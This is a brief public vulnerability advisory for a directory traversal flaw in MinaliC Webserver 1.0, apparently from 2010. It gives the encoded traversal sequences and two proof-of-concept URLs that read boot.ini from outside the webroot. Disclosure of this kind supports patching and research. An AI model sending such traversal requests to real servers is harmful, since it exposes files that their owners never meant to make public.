MinaliC Webserver 1.0 - Directory Traversal Vulnerability

------------------------------------------------------------------------ Software................MinaliC Webserver 1.0 Vulnerability...........Directory Traversal Download................http://sourceforge.net/projects/minalic/ Release Date............10/24/2010 Tested On...............Windows XP ------------------------------------------------------------------------ Author..................John Leitch Site....................http://www.johnleitch.net/ Email...................john.leitch5@gmail.com ------------------------------------------------------------------------ --Description-- A directory traversal vulnerability in MinaliC Webserver 1.0 can be exploited to read files outside of the webroot directory. --Exploit-- ..%2f ..%5c --PoC-- http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini